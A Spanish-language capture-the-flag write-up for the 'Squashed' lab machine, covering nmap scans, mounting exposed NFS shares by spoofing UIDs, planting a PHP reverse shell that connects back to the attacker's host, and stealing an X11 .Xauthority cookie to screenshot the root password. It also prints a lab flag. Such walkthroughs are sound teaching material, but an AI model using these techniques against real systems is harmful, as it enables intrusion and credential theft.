Squashed

Table of contents

  1. Enumeracion
    1. Ecaneos con nmap
    2. Enumeracion NFS
  2. Explotando NFS y flag de user
    1. Directorio /var/www/html
  3. Flag de root via X11

Abusaremos de unos recursos NFS y luego subiremos una reverse shell para la flag de user, para la escalada nos aprovecharemos del archivo .Xauthority via Magic Cookie para tomar una captura de pantalla y conseguir las credenciales de root

Enumeracion

Ecaneos con nmap

Iniciamos con un escaneo con el comando

sudo nmap -sS -n -Pn --open -p- 10.10.11.191

El cual esta haciendo:

  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • p-: para que escanee todo el rango de puertos

Y nos reporto que hay varios puertos abiertos:

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
33331/tcp open  diamondport
41253/tcp open  unknown
44525/tcp open  unknown
54989/tcp open  unknown

Ahora escanearemos los puertos 22, 80 y 111 buscando la version y servicio que esten corriendo:

nmap -sCV -p22,80,111,2049 10.10.11.191

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Index of /
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      44911/udp   mountd
|   100005  1,2,3      47352/udp6  mountd
|   100005  1,2,3      50313/tcp6  mountd
|   100005  1,2,3      54989/tcp   mountd
|   100021  1,3,4      36833/tcp6  nlockmgr
|   100021  1,3,4      44525/tcp   nlockmgr
|   100021  1,3,4      50308/udp   nlockmgr
|   100021  1,3,4      60392/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nos reportara mucha informacion, de la cual les puedo ir diciento que en SHH no podemos hacer nada y en el puerto 80 HTTP solo es una pagina web estatica donde tampoco podremos hacer nada (de momento).

Si vemos el servicio que esta corriendo en el puerto 111 es el rpcbind, sin embargo, al intertar conectarse con rpcclient no se puede. Por otra parte vemos que tenemos que esta corriendo un NFS a travez del puerto 2049:

|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs

Asi que vamos por ahi.

Enumeracion NFS

Lo primero que debemos de ver es si existen directorios que nos podemos montar, esto con el comando:

showmount -e 10.10.11.191

Esto nos arroja:

Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Ahora pasaremos a montarnos esos dos directorios con los comandos:

sudo mount -t nfs 10.10.11.191:/home/ross /mnt/ross -o nolock

sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/web -o nolock

La ruta donde me los estoy montando son:

/mnt/ross
/mnt/web

Ahora pasaremos a revisar que permisos son los que tienen ambos directorios que nos montamos, usando el comando:

sudo nmap -sV --script=nfs-ls 10.10.11.191

Vemos que para /home/ross nos muestra:

| nfs-ls: Volume /home/ross
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID   GID   SIZE  TIME                 FILENAME
| rwxr-xr-x   1001  1001  4096  2023-04-05T05:07:21  .
| ??????????  ?     ?     ?     ?                    ..
| rwx------   1001  1001  4096  2022-10-21T14:57:01  .cache
| rwx------   1001  1001  4096  2022-10-21T14:57:01  .config
| rwx------   1001  1001  4096  2022-10-21T14:57:01  .local
| rw-------   1001  1001  2475  2022-12-27T15:33:41  .xsession-errors.old
| rwxr-xr-x   1001  1001  4096  2022-10-21T14:57:01  Documents
| rwxr-xr-x   1001  1001  4096  2022-10-21T14:57:01  Music
| rwxr-xr-x   1001  1001  4096  2022-10-21T14:57:01  Pictures
| rwxr-xr-x   1001  1001  4096  2022-10-21T14:57:01  Public

En donde lo interesante es que el UID y GID estan definidos como 1001, sin embargo en mi maquina no hay nigun usuario con ese UID

Directorio /var/www/html:

| Volume /var/www/html
|   access: Read NoLookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID   GID  SIZE  TIME                 FILENAME
| rwxr-xr--   2017  33   4096  2023-04-06T00:40:01  .
| ??????????  ?     ?    ?     ?                    ..
| ??????????  ?     ?    ?     ?                    .htaccess
| ??????????  ?     ?    ?     ?                    css
| ??????????  ?     ?    ?     ?                    images
| ??????????  ?     ?    ?     ?                    index.html
| ??????????  ?     ?    ?     ?                    js

Es lo mismo de arriba, solo que el UID es 2017

Como extra, dentro dentro de la carpeta Documents de ross, hay un archivo de un gestor de contraseñas que podriamos intentar crackear, pero les digo que no es por ahi

󰣇  c4rta /mnt/ross  tree      
.
├── Desktop
├── Documents
│   └── Passwords.kdbx ---> archivo de contraseñas

Explotando NFS y flag de user

Directorio /var/www/html

Como sabermos que solo vamos a tener acceso con un usuario con el UID 2017, podemos crear un usuario en muestra maquina y asignarle ese UID:

sudo useradd web
sudo usermod -u 2017 web
sudo groupmod -g 2017 web

Ahora inicamos sesion con ese usuario y ya podemos navegar entre ese directorio

Una vez dentro, tenemos archivos de un sitio web, ese sitio web corresponde al sitio web de la maquina, y asu vez, ese directorio que montamos esta sincronizado con el de la maquina, asi que lo que intentaremos es crear un archivo php que sea una reverse shell y luego acceder a ese recurso.

Usare la reverse shell de pentest monkey.

En el directorio /var/www/html creare un archivo llamado shell.php, donde pegare la reverse shell y editare la IP Y puerto, de esta manera:

$ip = '10.10.14.21';  // CHANGE THIS
$port = 443; 

Ahora me pondre en escucha por netcat:

nc -nlvp 443

Y accedere al recurso:

http://10.10.11.191/shell.php

Y con eso ya obtuvimos una reverse shell, ahora toca hacerla interactiva y ya hemos conseguido la flag de user:

alex@squashed:/home/alex$ cat user.txt
cat user.txt
5ada1f0eea8f0909d110e6290f695705

Flag de root via X11

Recordemos que anteriormente en el directorio /home/ross estaba establecido con el UID 1001, asi que como hicimos con el otro directorio, crearemos un usuario que le asignaremos el UID 1001 para que podamos leer todos los archivos.

Vemos que en el directorio existe el archivo .Xauthority y .xsession, estos significa que se puede configurar una pantalla X11, .Xauthority se usa para almacenar una Magic cookie, que simplemente es una cookie para poder conectarse a un servidor X11, si nosotros tenemos la cookie de una persona o su archivo .Xauthority con esa cookie, lo que podriamos hacer es tomar una captura de su pantalla

Primeramente veremos que sesiones activas existen en el usuario alex (cuando conseguimos la reverse shell):

alex@squashed:/home/alex$ w
w
 01:16:44 up 20:09,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Wed05   20:09m  2:21   0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome

Vemos que existe una sesion activa de ross usando la pantalla :0.

Entonces lo que tenemos que hacer es:

  • Pasarnos el archivo .Xauthority a Alex
  • Desde Alex, configuraremos la variable de entorno XAUTHORITY con el .Xauthority de ross
  • Tomaremos una captura de pantalla y conseguiremos la flag de root

Para pasarnos el archivo vamos a crear un servidor web con python en el directorio /mnt/ross (ese es el directorio donde monte /home/ross):

python3 -m http.server 8080

Y luego desde el usuario Alex descargaremos el .Xauthority:

wget 10.10.14.21:8080/.Xauthority

Ahora definitemos la variable de entorno con el .Xauthority de ross:

XAUTHORITY=/home/alex/.Xauthority

Ahora tomare una captura de pantalla:

xwd -root -screen -silent -display :0 > root.xwd

Por ultimo como sabemos que esta sincronizado el directorio /var/www/html con el que montamos, pasare el archivo que nos dejo la captura de pantalla hacia ese directorio.

cp root.xwd /var/www/html

Una vez teniendo el archivo lo pasaremos a PNG:

convert root.xwd root.png

Y ya podriamos ver la contraseña de root

Ahora solo queda iniciar sesion como root y ver la flag

Eso ha sido todo, gracias por leer ❤